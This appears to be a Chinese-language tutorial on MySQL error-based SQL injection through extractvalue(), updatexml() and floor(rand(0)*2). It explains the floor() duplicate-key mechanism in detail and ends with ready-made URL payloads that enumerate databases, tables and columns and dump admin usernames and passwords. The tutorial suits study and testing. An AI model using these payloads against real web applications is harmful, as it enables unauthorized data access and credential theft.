報錯注入,顧名思義,利用數據庫報錯來回顯數據的注入方式,但是這種方法有一點侷限性,就是需要源碼中有mysql輸出錯誤的函數把mysql的錯誤回顯到前端,否則就不構成報錯注入了
以下這些報錯函數可能在一些新的版本中已經修復了,這裏的測試環境是:MySQL 5.5.53
MySQL官網歷史版本:https://downloads.mysql.com/archives/community/
Extractvalue()
Extractvalue(目標xml文檔,xml路徑):從目標XML中返回所包含查詢值的字符串
對XML文檔進行查詢的函數,相當於HTML文件中使用的<div><p><a>標籤查找元素一樣
第二個參數XPath_String
是報錯的關鍵,XML文檔中查找字符位置是用/xxx/xxx/xxx
這種格式,如果我們寫入非法格式的內容就會報錯,並且返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容
extractvalue('anything',[查詢語句])
使用concat()
能使查詢語句輸出的更加完整
extractvalue()
報錯一次只能回顯出32位的數據,如果想要回顯超過32位的數據,需要使用substr(), mid(), left(), right()
之類的截斷函數去截斷數據分次輸出
Updatexml()
Updatexml(目標文檔, xml路徑, 更新內容),更新XML文檔
updatexml()
的報錯注入姿勢和extractvalue()
類似,也是第二個參數
位置,輸入非法字符,導致報錯
PS:updatexml()和extractvalue()相同一次只能輸出32
位數據,要完整的輸出數據只能使用截斷函數
進行截斷分多次輸出
Floor()
關於Floor()
報錯的原理可以參考下面這篇文章(寫的很好)
https://www.cnblogs.com/xdans/p/5412468.html
rand():產生一個在0和1之間的隨機數
floor():返回小於等於該值的最大整數
group by:根據一個或多個列對結果集進行分組
Floor()
受影響條件:
- 所查詢的表中的記錄條數
- rand()是否有隨機因子
位置對結果沒有影響
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
網上的payload大都是這樣的,用x
作爲floor(rand(0)*2)
的別名,然後把floor(rand(0)*2)
放在count(*)
後面,其實放後面也是一樣的
and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a)
and(select count(*) from security.users group by concat(database(),floor(rand(0)*2)))
不用and
使用union select
也行
union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,database(),0x3a,user())limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a
爲什麼要再一次查詢並使用別名
從報錯看答案
因爲(select count(*),concat(database(),floor(rand(0)*2))x from security.users group by x)
這裏查詢結果是表
,而操作數應該是字段
所以我們需要對派生表
再一次查詢,而且派生表必須是使用別名代替的
表的數據記錄數對有隨機因子報錯的影響
Test
數據庫中有兩張表data
,users
分別有1,10
條數據
由此可見,使用隨機因子的floor()報錯是有條件的,查詢的表中必須有大於等於三條數據的內容
隨機因子有決定權rand()和rand(0)
上面已經證明了使用隨機因子floor()
報錯的條件有確定性,查詢的表中大於三條數據
而當沒有加入隨即因子,當查詢數據表存在大於等於2
條數據時,就可能產生報錯
由此可見報錯和隨機因子是有關聯的
不確定性與確定性
從下面的實驗中可以得出,floor(rand(0)*2)
加入了隨機因子,就有了某方面的確定性
我們同時使用floor(rand()*2)
和floor(rand(0)*2)
查詢test.users
表,對比結果
看起來毫無規律,接着看加入隨機因子的
三次結果都一樣,可以看到floor(rand(0)*2)是有規律的,而且是固定的,這個就是上面提到的由於是確定性才導致的報錯
count與group by的虛擬表
使用group by
和count()
統計出users表中,password的重複次數
在同時使用count(*)
和group by
時,mysql會建立一張虛擬表,工作流程如下圖所示
- 建立虛擬表,Key是主鍵,不可重複
由此看到 如果key存在的話就+1, 不存在的話就新建一個key
floor(rand(0)*2)報錯
根據mysql官方給出的文檔,rand()
在查詢的時候會被計算多次,就是在使用group by的時候,floor(rand(0)*2)
會被執行一次,如果虛表不存在記錄,插入虛表的時候會再被執行一次,我們來看下floor(rand(0)*2)
報錯的過程就知道了,從前面我們可以知道,在一次多記錄的查詢過程中floor(rand(0)*2)
的值是定性的,爲011011…
(記住這個順序很重要),報錯實際上就是floor(rand(0)*2)
被計算多次導致的,具體看看select count(*) from users group by floor(rand(0)*2);
的查詢過程:
-
查詢前默認會建立空虛擬表如下圖:
-
取第一條記錄,執行floor(rand(0)*2),發現結果爲0(第一次計算),查詢虛擬表,發現0的鍵值不存在,則floor(rand(0)*2)會被再計算一次,結果爲1(第二次計算),插入虛表,這時第一條記錄查詢完畢,如下圖:
-
查詢第二條記錄,再次計算
floor(rand(0)*2)
,發現結果爲1(第三次計算),查詢虛表,發現1的鍵值存在,所以floor(rand(0)*2)
不會被計算第二次,直接count(*)
加1,第二條記錄查詢完畢,結果如下:
-
查詢第三條記錄,再次計算floor(rand(0)*2),發現結果爲0(第4次計算),查詢虛表,發現鍵值沒有0,則數據庫嘗試插入一條新的數據,在插入數據時floor(rand(0)*2)被再次計算,作爲虛表的主鍵,其值爲1(第5次計算),然而1這個主鍵已經存在於虛擬表中,而新計算的值也爲1(主鍵鍵值必須唯一),所以插入的時候就直接報錯了。
-
整個查詢過程floor(rand(0)*2)被計算了5次,查詢原數據表3次,所以這就是爲什麼數據表中需要3條數據,使用該語句纔會報錯的原因。
floor(rand()*2)報錯
從上文可以得出,由於沒加入隨機因子,所以floor(rand()*2)是不可測的,因此在兩條數據的時候,只要出現下面情況,即可報錯,如下圖:
最重要的是前面幾條記錄查詢後不能讓虛表存在0,1鍵值,如果存在了,那無論多少條記錄,也都沒辦法報錯,因爲floor(rand()*2)
不會再被計算做爲虛表的鍵值,這也就是爲什麼不加隨機因子有時候會報錯,有時候不會報錯的原因。如圖:
當前面記錄讓虛表長成這樣子後,由於不管查詢多少條記錄,floor(rand()*2)
的值在虛表中都能找到,所以不會被再次計算,只是簡單的增加count(*)
字段的數量,所以不會報錯,比如floor(rand(1)*2)
,如圖:
在前兩條記錄查詢後,虛擬表已經存在0和1兩個鍵值了,所以後面再怎麼弄還是不會報錯。
總之報錯需要count(*)
,rand()
、group by
,三者缺一不可
floor()報錯的一些payload供參考
and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a)
and(select count(*) from security.users group by concat(database(),floor(rand(0)*2)))
union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,database(),0x3a,user())limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
爆數據庫:
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆表:
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆字段:
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆內容:
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Exp()
沒有找到復現環境,試了,MySQL 5.5.53
,MySQL 5.5.50
兩個版本都不行,可能還需要更低的版本吧,我懶的去一個個版本下載測試,這個就不測試了。
日後碰到其他的再更新上來